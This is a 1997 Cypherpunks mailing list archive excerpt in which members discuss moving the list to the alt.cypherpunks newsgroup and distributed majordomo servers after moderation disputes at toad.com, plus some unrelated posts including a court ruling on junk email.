For the record I regularly read only a filtered version of the list, and subscribe to the full list only to be able to read referenced articles which were filtered. -Lance Cottrell -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAwUBMwIyFMogYxMMzklZAQFTzAf+Jya8WIdWpZhyialw6GtGbj3D4mQp0PRJ +J4cBn3qCXX4sLkPcO9Cn0+3Sea20yclvZh9KXXlVM8RxGwzOhVeDDzuQ8dX+LwG QQDdjYfzUAyoSk3OJjWj92DXEZmyEGerahYdoIB7HkIkFw+OY6lJ56cTYUZvKlHe XkJakJ7F5zKdZitvx3wl7Qj6j2lMUh3SegDKz4Ig+WoOe7odbN2F6FDbp1t8WlvI b5YjhwsaOXJ56/ZuWDUuK/yjgq7obPHCtdR3jANIq+Ch01HD+idsU/CH4GCwgiNU 7/GLO+FWlrjL3QIVrl13GiixJFu70Ng37KMAbkoaPqL1Cnip1A4g/g== =fcW6 -----END PGP SIGNATURE----- ---------------------------------------------------------- Lance Cottrell loki at obscura.com PGP 2.6 key available by finger or server. http://www.obscura.com/~loki/ "Love is a snowmobile racing across the tundra. Suddenly it flips over, pinning you underneath. At night the ice weasels come." --Nietzsche ---------------------------------------------------------- From tcmay at got.net Wed Feb 12 13:42:14 1997 From: tcmay at got.net (Tim May) Date: Wed, 12 Feb 1997 13:42:14 -0800 (PST) Subject: Is "alt.cypherpunks" the best choice? Message-ID: <199702122142.NAA06041@toad.com> (A copy of this message has also been posted to the following newsgroups: alt.cypherpunks) At 2:49 PM -0600 2/12/97, Igor Chudov @ home wrote: >It is too late to stop alt.cypherpunks, but if I had to make a >prediction again, I would predict that soon posters will BEG to help >them create comp.*.cypherpunks, because of spam and alt.flamage. Perhaps some will, but I've been a reader of many alt groups for many years, and have not found them to be unusable. Alt.religion.scientology, for example, has been a robust forum for discussion (and argument, of course!) about Scientology. My fear about using a "well respected" name is that the usual calls for moderation may end up with it being moderated! And the well respected domains are often plagued with threats by various participants that _others_ are being "off topic," with threats to send letters to sysadmins advising them that one of their users is debating an off-topic subject. I have a fair amount of respect for Igor, so my comments here should not be taken the wrong way. To wit, I recall that shortly after the "moderation" thing began on Cypherpunks at toad.com, Igor called for Sandy to start blocking "libertarian rants" and "crypto anarchy" discussions, apparently feeling these are not proper Cypherpunks topics. It could be that a "sci.crypt.cypherpunks" group, for example, would result in pressures on sysadmins to discipline those who post "off topic" things. (Again, I'm not saying Igor himself would do this. But there would be a temptation for some to do so.) For me, I can easily scan even a high volume group like alt.religion.scientology for threads of interest (I use "NewsWatcher YA," a good Mac-based threaded newsreader, with even support for anonymous remailers built in). If I can read a.r.s., I can read a.cp without any trouble. It works for me. --Tim May -- Boycott "Big Brother Inside" software! We got computers, we're tapping phone lines, we know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Licensed Ontologist | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From paul at fatmans.demon.co.uk Wed Feb 12 13:56:25 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 13:56:25 -0800 (PST) Subject: New group Message-ID: <199702122156.NAA06398@toad.com> > Paul Bradley wrote: > > Well despite the obvious problems of propogation I thought it was time > > someone actually did something to get us a new home, even if it`s only > > temporary. So I have created alt.cypherpunks... See you all over on > > usenet!... > I pressed the URL alt.cypherpunks and my Netscape server said > "no such thing" or words to that effect. The control message may take a few more hours to propogate, either that or your newsadmin has rmgrouped it. The charter was clear and concise and explained the issues so I don`t see why it should have been rmgrouped. Can you mail me if it hasn`t been created by the time you get this email and I`ll re-issue the cmsg. However, I`m sure it was OK as Robert Hettinga (sp?) found it on his news server today... Seeya Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From tcmay at got.net Wed Feb 12 13:56:35 1997 From: tcmay at got.net (Timothy C. May) Date: Wed, 12 Feb 1997 13:56:35 -0800 (PST) Subject: List for discussing many majordomos Message-ID: <199702122156.NAA06413@toad.com> At 10:46 PM -0800 2/11/97, Greg Broiles wrote: >At 06:59 PM 2/11/97 -0600, Igor Chudov @ home wrote: > >>We can coordinate our efforts. Actually, we can even have a mini >>mailing list for people who want to participate in the distributed >>cypherpunks experiment. If there is any interest, I can create such >>a list. > >Yes, this is a good idea. One of the proponents of the "many majordomos" >project apparently has plans to impose his own ideas about intellectual >property on the project, and this seems like a pretty serious thing for a >setup that's allegedly going to prevent censorship. We need a place to >discuss this. I've noticed the same thing, and this is part of why I'm so skeptical of the "many majordomos" notion. Some of the proponents have their own notions of who is fit to be in their system, and which topics are appropriate. If alt.cypherpunks gets wide propagation, I expect that'll be where I post the bulk of my stuff. By the way, several people have stepped forward to offer to host "the list" (?) on their Linux boxes, or spare CPU cycles they have somewhere. It's important that such offers be weighed carefully in terms of how serious the commitment is, and how long the service might last. (For you old-timers, we wouldn't want to have a repeat of the situation where a remailer went down because "I took my laptop with me on vacation to Spain.") --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From lucifer at dhp.com Wed Feb 12 14:01:51 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Wed, 12 Feb 1997 14:01:51 -0800 (PST) Subject: Spamming the list Message-ID: <199702122201.RAA10661@dhp.com> Warning: if you fuck a Dr.Dainty Vaginal in the ass, a tapeworm might bite your penis. \ o/\_ Dr.Dainty Vaginal <\__,\ '\, | From anand at querisoft.com Wed Feb 12 14:22:18 1997 From: anand at querisoft.com (anand abhyankar) Date: Wed, 12 Feb 1997 14:22:18 -0800 (PST) Subject: CAPI 2.0 beta! Message-ID: <3302FF9D.5A0D@querisoft.com> hi guys, anybody used the Microsoft CAPI 2.0? anand.... From gbroiles at netbox.com Wed Feb 12 14:29:23 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Wed, 12 Feb 1997 14:29:23 -0800 (PST) Subject: Network of majordomos (fwd) In-Reply-To: <199702121517.JAA01295@einstein> Message-ID: <3.0.1.32.19970212143303.027b9b20@mail.io.com> -----BEGIN PGP SIGNED MESSAGE----- At 09:17 AM 2/12/97 -0600, Jim Choate wrote: [quoting me] >> Usenet technology does exactly what you're describing: it's a distributed >> database of messages designed to facilitate each server getting its own copy >> of every message, and holding it locally for distribution to interested >> readers. Other people have been kind enough to write, debug, and document the >> software - all you have to do is install it. This could be running tonight. > >Did you get it running last nite Greg? When do you expect to be able to >handle traffic? Yes, I installed INN and ran a few hundred test messages through it last night. My machine will be on the net full-time Thursday or Friday. Will yours be ready then, too? If you need some help setting it up, let me know. It can be a little tricky if you haven't done it before. -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMwJE/f37pMWUJFlhAQH/9Af9E9FqR2oQXmL77j6wVnoD1Szh4FH3a8X+ Kc9GILJO0b6PpjNh2qEG2xTs2XYW6GgKmnQVqyA92otB8LtZND46LAuef5IQgbgD BxYPiUp5rgrhwpx1ArFqT6GfQQKIjFHNpSqyximWSv+TmoK/ptx/uhA7jP+VmOKy 5mbYhXZbbH/GXKa5W+pZzjHu6XEXMl9L4jiMdgWZAmkkn2OTpkUFu9N/FosoiQw+ tK33WqQtNX5N/gqvO5sOZYEgOlmJMzM+f5sqtbGnokc3FxZQxwRbshmJ5xRPkOtU rcLzL7/jzP03nQfGLHj4iFzUgPO+rYQ/ur5VxSuR/svZvm+XIxuqOg== =jxJb -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From ott0matic at hotmail.com Wed Feb 12 14:41:29 1997 From: ott0matic at hotmail.com (Otto Matic) Date: Wed, 12 Feb 1997 14:41:29 -0800 (PST) Subject: META: Censorship is Going Way too Far Message-ID: <199702122241.OAA14111@f5.hotmail.com> And I was very surprized to see this posting in the flames trash can!! Tim is just calling the Cypherpunks to task. Tim, what have you done to deserve such treatment? What agenda is it that makes it seem as if the machine hosting this mailing list will be in the wrong hands? Like the shadow government? Sorry they are giving you the Dr. V. treatment! >From cypherpunks-errors at toad.com Tue Feb 11 05:57:27 1997 >Fellow Cypherpunks (of the virtual community, even if not part of any >particular version of the list(s)), Articles are dated: > >* 2/7/97, 1:46 p.m. PST > >* 2/7/97, 1:59 p.m., PST > >* 2/7/97, 3:03 p.m., PST > >* 2/7/97, 9:46 p.m., PST otto =-=-=-=-=- Otto Matic "Fuckin' A, Miller!" Bud, Repo Man --------------------------------------------------------- Get Your *Web-Based* Free Email at http://www.hotmail.com --------------------------------------------------------- From ravage at EINSTEIN.ssz.com Wed Feb 12 14:45:38 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 12 Feb 1997 14:45:38 -0800 (PST) Subject: Network of majordomos (fwd) Message-ID: <199702122251.QAA02182@einstein> Forwarded message: > Date: Wed, 12 Feb 1997 14:33:03 -0800 > From: Greg Broiles > Subject: Re: Network of majordomos (fwd) > Yes, I installed INN and ran a few hundred test messages through it last > night. My machine will be on the net full-time Thursday or Friday. Will yours > be ready then, too? The mailing list was ready yesterday. Currently I have about a dozen subscribers who are testing it. Igor has his list up and I expect that we will begin the cross-subscription process on Saturday or Sunday. I sent a 'who is here' message to cypherpunks-hosts at algebra.com and have not received any replies. > If you need some help setting it up, let me know. It can be a little tricky > if you haven't done it before. Thanks, I'll factor that into my equation. I, however won't be acting as a mail-to-news gateway at this point. What I would like to see would be a news site which sent a copy of each incoming message to a mailing list and would have an email address where each new submission to the mailing list would get sent to. To make it really interesting would be to use two seperate remailers, one for each traffic path. Had you thought of taking your news that far? Jim Choate CyberTects ravage at ssz.com From gbroiles at netbox.com Wed Feb 12 15:04:33 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Wed, 12 Feb 1997 15:04:33 -0800 (PST) Subject: alt.cypherpunks created Message-ID: <3.0.1.32.19970212150638.027c6b00@ricochet.net> According to DejaNews, Mike Duvos has also issued a newgroup for alt.cypherpunks: >Subject: cmsg newgroup alt.cypherpunks >From: mpd at netcom.com (Mike Duvos) >Date: 1997/02/11 >Message-Id: >Sender: mpd at netcom12.netcom.com >Control: newgroup alt.cypherpunks >Organization: Netcom On-Line Services >Newsgroups: alt.cypherpunks > > > >alt.cypherpunks is an unmoderated newsgroup, needed as a replacement >for the high volume Cypherpunks mailing list, which is being evicted >from its longtime home at toad.com due to creative differences with >the site owner, John Gilmore. > >For your newsgroups file: > >alt.cypherpunks Technological defenses for privacy > >Some background on Cypherpunks, snipped from the mailing list welcome >message, follows... > >Cypherpunks assume privacy is a good thing and wish there were more of it. >Cypherpunks acknowledge that those who want privacy must create it for >themselves and not expect governments, corporations, or other large, >faceless organizations to grant them privacy out of beneficence. >Cypherpunks know that people have been creating their own privacy for >centuries with whispers, envelopes, closed doors, and couriers. >Cypherpunks do not seek to prevent other people from speaking about their >experiences or their opinions. > >The most important means to the defense of privacy is encryption. To >encrypt is to indicate the desire for privacy. But to encrypt with weak >cryptography is to indicate not too much desire for privacy. Cypherpunks >hope that all people desiring privacy will learn how best to defend it. > >Cypherpunks are therefore devoted to cryptography. Cypherpunks wish to >learn about it, to teach it, to implement it, and to make more of it. >Cypherpunks know that cryptographic protocols make social structures. >Cypherpunks know how to attack a system and how to defend it. Cypherpunks >know just how hard it is to make good cryptosystems. > >Cypherpunks love to practice. They love to play with public key >cryptography. They love to play with anonymous and pseudonymous mail >forwarding and delivery. They love to play with DC-nets. They love to >play with secure communications of all kinds. > >Cypherpunks write code. They know that someone has to write code to >defend privacy, and since it's their privacy, they're going to write it. >Cypherpunks publish their code so that their fellow cypherpunks may >practice and play with it. Cypherpunks realize that security is not built >in a day and are patient with incremental progress. > >Cypherpunks don't care if you don't like the software they write. >Cypherpunks know that software can't be destroyed. Cypherpunks know that >a widely dispersed system can't be shut down. > >Cypherpunks will make the networks safe for privacy. > >-- > Mike Duvos $ PGP 2.6 Public Key available $ > mpd at netcom.com $ via Finger. $ From anand at querisoft.com Wed Feb 12 15:11:31 1997 From: anand at querisoft.com (anand abhyankar) Date: Wed, 12 Feb 1997 15:11:31 -0800 (PST) Subject: CAPI 2.0 beta! Message-ID: <199702122311.PAA08280@toad.com> hi guys, anybody used the Microsoft CAPI 2.0? anand.... From ott0matic at hotmail.com Wed Feb 12 15:12:29 1997 From: ott0matic at hotmail.com (Otto Matic) Date: Wed, 12 Feb 1997 15:12:29 -0800 (PST) Subject: META: Censorship is Going Way too Far Message-ID: <199702122312.PAA08296@toad.com> And I was very surprized to see this posting in the flames trash can!! Tim is just calling the Cypherpunks to task. Tim, what have you done to deserve such treatment? What agenda is it that makes it seem as if the machine hosting this mailing list will be in the wrong hands? Like the shadow government? Sorry they are giving you the Dr. V. treatment! >From cypherpunks-errors at toad.com Tue Feb 11 05:57:27 1997 >Fellow Cypherpunks (of the virtual community, even if not part of any >particular version of the list(s)), Articles are dated: > >* 2/7/97, 1:46 p.m. PST > >* 2/7/97, 1:59 p.m., PST > >* 2/7/97, 3:03 p.m., PST > >* 2/7/97, 9:46 p.m., PST otto =-=-=-=-=- Otto Matic "Fuckin' A, Miller!" Bud, Repo Man --------------------------------------------------------- Get Your *Web-Based* Free Email at http://www.hotmail.com --------------------------------------------------------- From attila at primenet.com Wed Feb 12 15:12:45 1997 From: attila at primenet.com (Attila T. Hun) Date: Wed, 12 Feb 1997 15:12:45 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702122312.PAA08308@toad.com> maybe relief is in sight; can we spell excedrin? on or about 970211:1433 educom at elanor.oit.unc.edu said: +COURT GRANTS COMPUSERVE INJUNCTION AGAINST JUNK E-MAIL +A U.S. district court in Ohio has granted CompuServe's request for a +preliminary injunction barring Cyber Promotions Inc. from sending +unsolicited e-mail to its subscribers while the commercial provider +pursues its lawsuit against Cyber Promotions. The injunction was +granted after Cyber Promotions foiled CompuServe's initial attempts to +block its messages by falsifying the point-of-origin information on +its e-mail messages and by configuring its network servers to conceal +its actual Internet domain name. "To the extent that defendant's +multitudinous electronic mailings demand the disk space and drain the +processing power of plaintiff's computer equipment, those resources +are not available to CompuServe subscribers," the court reasoned. In +addition, because many subscribers had complained to CompuServe about +the mailings, the court found that Cyber Promotions' intrusions +constituted "harm" as well as trespassing under common tort law. The +court found that the "plaintiff is not a government agency or a state +actor which seeks to preempt defendants' ability to communicate but is +instead a private actor trying to tailor the nuances of its service to +provide maximum utility to its customers." (BNA Daily Report for +Executives 7 Feb 97) ___________________________________________________________attila_____ "The only difference between me and a madman is that I am not mad." --Salvador Dali ___________________________________________________________attila_____ "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 From gbroiles at netbox.com Wed Feb 12 15:13:29 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Wed, 12 Feb 1997 15:13:29 -0800 (PST) Subject: Network of majordomos (fwd) Message-ID: <199702122313.PAA08357@toad.com> -----BEGIN PGP SIGNED MESSAGE----- At 09:17 AM 2/12/97 -0600, Jim Choate wrote: [quoting me] >> Usenet technology does exactly what you're describing: it's a distributed >> database of messages designed to facilitate each server getting its own copy >> of every message, and holding it locally for distribution to interested >> readers. Other people have been kind enough to write, debug, and document the >> software - all you have to do is install it. This could be running tonight. > >Did you get it running last nite Greg? When do you expect to be able to >handle traffic? Yes, I installed INN and ran a few hundred test messages through it last night. My machine will be on the net full-time Thursday or Friday. Will yours be ready then, too? If you need some help setting it up, let me know. It can be a little tricky if you haven't done it before. -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMwJE/f37pMWUJFlhAQH/9Af9E9FqR2oQXmL77j6wVnoD1Szh4FH3a8X+ Kc9GILJO0b6PpjNh2qEG2xTs2XYW6GgKmnQVqyA92otB8LtZND46LAuef5IQgbgD BxYPiUp5rgrhwpx1ArFqT6GfQQKIjFHNpSqyximWSv+TmoK/ptx/uhA7jP+VmOKy 5mbYhXZbbH/GXKa5W+pZzjHu6XEXMl9L4jiMdgWZAmkkn2OTpkUFu9N/FosoiQw+ tK33WqQtNX5N/gqvO5sOZYEgOlmJMzM+f5sqtbGnokc3FxZQxwRbshmJ5xRPkOtU rcLzL7/jzP03nQfGLHj4iFzUgPO+rYQ/ur5VxSuR/svZvm+XIxuqOg== =jxJb -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From ravage at EINSTEIN.ssz.com Wed Feb 12 15:13:43 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 12 Feb 1997 15:13:43 -0800 (PST) Subject: Network of majordomos (fwd) Message-ID: <199702122313.PAA08386@toad.com> Forwarded message: > Date: Wed, 12 Feb 1997 14:33:03 -0800 > From: Greg Broiles > Subject: Re: Network of majordomos (fwd) > Yes, I installed INN and ran a few hundred test messages through it last > night. My machine will be on the net full-time Thursday or Friday. Will yours > be ready then, too? The mailing list was ready yesterday. Currently I have about a dozen subscribers who are testing it. Igor has his list up and I expect that we will begin the cross-subscription process on Saturday or Sunday. I sent a 'who is here' message to cypherpunks-hosts at algebra.com and have not received any replies. > If you need some help setting it up, let me know. It can be a little tricky > if you haven't done it before. Thanks, I'll factor that into my equation. I, however won't be acting as a mail-to-news gateway at this point. What I would like to see would be a news site which sent a copy of each incoming message to a mailing list and would have an email address where each new submission to the mailing list would get sent to. To make it really interesting would be to use two seperate remailers, one for each traffic path. Had you thought of taking your news that far? Jim Choate CyberTects ravage at ssz.com From gbroiles at netbox.com Wed Feb 12 15:13:45 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Wed, 12 Feb 1997 15:13:45 -0800 (PST) Subject: alt.cypherpunks created Message-ID: <199702122313.PAA08388@toad.com> According to DejaNews, Mike Duvos has also issued a newgroup for alt.cypherpunks: >Subject: cmsg newgroup alt.cypherpunks >From: mpd at netcom.com (Mike Duvos) >Date: 1997/02/11 >Message-Id: >Sender: mpd at netcom12.netcom.com >Control: newgroup alt.cypherpunks >Organization: Netcom On-Line Services >Newsgroups: alt.cypherpunks > > > >alt.cypherpunks is an unmoderated newsgroup, needed as a replacement >for the high volume Cypherpunks mailing list, which is being evicted >from its longtime home at toad.com due to creative differences with >the site owner, John Gilmore. > >For your newsgroups file: > >alt.cypherpunks Technological defenses for privacy > >Some background on Cypherpunks, snipped from the mailing list welcome >message, follows... > >Cypherpunks assume privacy is a good thing and wish there were more of it. >Cypherpunks acknowledge that those who want privacy must create it for >themselves and not expect governments, corporations, or other large, >faceless organizations to grant them privacy out of beneficence. >Cypherpunks know that people have been creating their own privacy for >centuries with whispers, envelopes, closed doors, and couriers. >Cypherpunks do not seek to prevent other people from speaking about their >experiences or their opinions. > >The most important means to the defense of privacy is encryption. To >encrypt is to indicate the desire for privacy. But to encrypt with weak >cryptography is to indicate not too much desire for privacy. Cypherpunks >hope that all people desiring privacy will learn how best to defend it. > >Cypherpunks are therefore devoted to cryptography. Cypherpunks wish to >learn about it, to teach it, to implement it, and to make more of it. >Cypherpunks know that cryptographic protocols make social structures. >Cypherpunks know how to attack a system and how to defend it. Cypherpunks >know just how hard it is to make good cryptosystems. > >Cypherpunks love to practice. They love to play with public key >cryptography. They love to play with anonymous and pseudonymous mail >forwarding and delivery. They love to play with DC-nets. They love to >play with secure communications of all kinds. > >Cypherpunks write code. They know that someone has to write code to >defend privacy, and since it's their privacy, they're going to write it. >Cypherpunks publish their code so that their fellow cypherpunks may >practice and play with it. Cypherpunks realize that security is not built >in a day and are patient with incremental progress. > >Cypherpunks don't care if you don't like the software they write. >Cypherpunks know that software can't be destroyed. Cypherpunks know that >a widely dispersed system can't be shut down. > >Cypherpunks will make the networks safe for privacy. > >-- > Mike Duvos $ PGP 2.6 Public Key available $ > mpd at netcom.com $ via Finger. $ From rah at shipwright.com Wed Feb 12 15:14:13 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 12 Feb 1997 15:14:13 -0800 (PST) Subject: Need a good bi-directional mail-news gateway In-Reply-To: <199702122057.MAA04595@toad.com> Message-ID: At 3:18 pm -0500 2/12/97, Jonathan M. Bresler wrote: ^^^^^^^ > your expected mail volume is 100,000+ messages a day? > > i run lists that do 200,000+ routinely. > recent peak of 350,000 messages > > does that meet your needs? Great. Let's run cypherpunks with a government subsidy. ;-). Pulling your leg, just a bit.. Cheers, Bob Hettinga "So much for a geodesic monitary system..." ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From EALLENSMITH at ocelot.Rutgers.EDU Wed Feb 12 15:15:24 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Wed, 12 Feb 1997 15:15:24 -0800 (PST) Subject: List-Managers list info Message-ID: <199702122315.PAA08421@toad.com> From: IN%"Majordomo at GreatCircle.COM" 4-AUG-1996 00:00:26.72 To: IN%"EALLENSMITH at mbcl.rutgers.edu" CC: Subj: Welcome to list-managers Welcome to the list-managers mailing list! Please save this message for future reference. Thank you. If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe list-managers EALLENSMITH at mbcl.rutgers.edu Here's the general information for the list you've subscribed to, in case you don't already have it: Description =========== This list is for discussions of issues related to managing Internet mailing lists, including (but not limited to) methods, mechanisms, techniques, policies, and software (in general; questions about specific software packages should be directed to the mailing list dedicated to that particular package). Technical questions regarding particular software packages (for instance, Majordomo, LISTPROC, ListServ, etc.) are NOT appropriate for the List-Managers mailing list. They should be directed to the mailing list dedicated to that particular package (for instance, for Majordomo, that's Majordomo-Users at GreatCircle.COM). Check the documentation that came with the package to find out where the support list for that package is hosted. This list is an outgrowth of the "Mailing Lists" workshop session at the USENIX System Administration Conference (LISA VI) in Long Beach, CA, on October 22, 1992. This is the undigestified version of the list. All messages sent to this list are immediately forwarded to members of the list. The digestified version of the list is List-Managers-Digest at GreatCircle.COM. Policies ======== You can subscribe a local redistribution list or a gateway to a local newsgroup, as long as whatever you do is local to your site. This restriction makes it much easier for me to track down mailer problems. I'm very aggressive when it comes to bounced email. If email to you starts bouncing, I'll probably drop you from the list fairly quickly; you'll have to resubscribe when you get the problem fixed, and retrieve the archives to find out what you missed. Archives ======== All messages to the list are archived. The archives are available via Majordomo using the "get" command (send "help" in the body of a message to "Majordomo at GreatCircle.COM" for more info), or via anonymous FTP from host FTP.GreatCircle.COM in directory "pub/list-managers/archive". The archives are broken down by year and month, and are stored in files named "list-managers.YYMM". The copy of the archive available by anonymous FTP is updated every night at 2am local time (0900 GMT in the summer, 1000 GMT in the winter). For further information, contact: Michael C. Berch Postmaster and list manager, Great Circle Associates mcb at greatcircle.com From tcmay at got.net Wed Feb 12 15:17:40 1997 From: tcmay at got.net (Timothy C. May) Date: Wed, 12 Feb 1997 15:17:40 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 In-Reply-To: <199702121825.LAA11266@infowest.com> Message-ID: At 6:21 PM +0000 2/12/97, Attila T. Hun wrote: > maybe relief is in sight; can we spell excedrin? > >on or about 970211:1433 educom at elanor.oit.unc.edu said: > >+COURT GRANTS COMPUSERVE INJUNCTION AGAINST JUNK E-MAIL > >+A U.S. district court in Ohio has granted CompuServe's request for a >+preliminary injunction barring Cyber Promotions Inc. from sending >+unsolicited e-mail to its subscribers while the commercial provider ... Were I a customer of CompuServe, I'd ask on what basis CompuServe was intercepting e-mail to me. In fact, a CompuServe account holder has made just this point: "I'll decide what's junk mail and what's not." Having the court system involved in deciding what mail is valid and what is not valid is not my idea of a free society. Having said this, the flaw remains that "junk mail" is "free" to the sender. This is a flaw in the ontology of e-mail, and needs to be fixed. Digital postage is one approach. I'm not holding my breath, but I sure don't want a "District Court" deciding. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From tcmay at got.net Wed Feb 12 15:19:21 1997 From: tcmay at got.net (Timothy C. May) Date: Wed, 12 Feb 1997 15:19:21 -0800 (PST) Subject: alt.cypherpunks created In-Reply-To: <3.0.1.32.19970212150638.027c6b00@ricochet.net> Message-ID: At 3:06 PM -0800 2/12/97, Greg Broiles wrote: >According to DejaNews, Mike Duvos has also issued a newgroup for >alt.cypherpunks: I've already posted two articles to it. I expect it to be the main place I post my words, as it eliminates any possibility that some site admin will "moderate" my essays. (And few of my articles in the last several days have made it to the Main list. They were not flames, but apparently failed Sandy's test of relevance.) --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From webmaster at extensis.com Wed Feb 12 15:23:30 1997 From: webmaster at extensis.com (webmaster at extensis.com) Date: Wed, 12 Feb 1997 15:23:30 -0800 (PST) Subject: Extensis CyberViewer Registration Message-ID: <199702122323.PAA20183@us1.us.world.net> Dear Gringo, Thank you for registering your copy of CyberViewer with Extensis! Your CyberViewer serial number is: JME-100-001-936-690721 Please save this message for your records. Visit for more information about CyberViewer news & updates! Thanks for using Extensis CyberViewer! Jeff Cheney Product Marketing Manager jcheney at extensis.com From rah at shipwright.com Wed Feb 12 15:26:49 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 12 Feb 1997 15:26:49 -0800 (PST) Subject: Need a good bi-directional mail-news gateway Message-ID: <199702122326.PAA08688@toad.com> At 3:18 pm -0500 2/12/97, Jonathan M. Bresler wrote: ^^^^^^^ > your expected mail volume is 100,000+ messages a day? > > i run lists that do 200,000+ routinely. > recent peak of 350,000 messages > > does that meet your needs? Great. Let's run cypherpunks with a government subsidy. ;-). Pulling your leg, just a bit.. Cheers, Bob Hettinga "So much for a geodesic monitary system..." ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From speidel at lightspeed.net Wed Feb 12 15:46:18 1997 From: speidel at lightspeed.net (zac speidel) Date: Wed, 12 Feb 1997 15:46:18 -0800 (PST) Subject: security Message-ID: <3.0.16.19970212160457.1ff7917e@lightspeed.net> does any 1 here a hacker??? Title: Skinhead Oi Oi From EALLENSMITH at ocelot.Rutgers.EDU Wed Feb 12 15:50:13 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Wed, 12 Feb 1997 15:50:13 -0800 (PST) Subject: Cypherpunks Distributed Remailer (fwd) Message-ID: <01IFC7EUTVMO9AN9SS@mbcl.rutgers.edu> From: IN%"ravage at einstein.ssz.com" "Jim Choate" 12-FEB-1997 18:43:56.23 > From: "E. Allen Smith" >> Umm... because you'll eventually accumulate _lots_ of addresses >> that don't work, which will slow things down tremendously in sending >> mail out? >The current subscription is between 1,000 and 2,000 I don't think that is >_lots_. All we need to do is count the number of bounces per address in >a given period, the SSZ end is trying to decide between weekly or >monthly cleanings, and then clear that address. At no point would I need >to archive the original bounce. Someone with more experience correct me if I'm wrong (I'm just starting to learn about mailing list management), but isn't saving at least the first bounce from a given address good in order to check what address is the one that's actually bouncing? Admittedly, this only applies to badly-formed bounces. The rest can just have the address noted. >> Well, loki at cyberpass.net has made the offer to host the entire >> list... and Lance is certainly making money at it. While this would have >> some problems in comparison with the distributed list idea (namely more of >> a choke point), it would decidedly help. >I certainly hope they get a cpunks address made available. I will certainly >subscribe cpunks at ssz so that the distributed remailer will benefit from >that input. However, one of the major realizations is that as long as one >anything is involved in the list it is capable of being shutdown at any >time with no warning. It also makes it much easier to compromise. I would >like to see servers in several countries myself. Agreed. >> >Is anyone interested in acting as a mail-to-news gateway? >Want to volunteer? Give me some idea of how much programming knowledge, time, etcetera is required, please, before I can answer. I'd be renting space on some other computer (e.g., an account on cyberpass.net) to do it in; the only higher-level programming language (i.e., beyond Applesoft Basic) that I know anything of is Perl (and I don't know that all that well); and I am somewhat busy with other stuff. In other words, it depends. -Allen From stend at sten.tivoli.com Wed Feb 12 15:51:20 1997 From: stend at sten.tivoli.com (Firebeard) Date: Wed, 12 Feb 1997 15:51:20 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" In-Reply-To: <199702120555.VAA07276@toad.com> Message-ID: >>>>> Timothy C May writes: TCM> Since posting my comments I've just seen the proposal that tivoli TCM> may host a list. Whoa, Nellie! Who made that proposal? It certainly wasn't me! I said that I was taking steps to set up a majordomo to 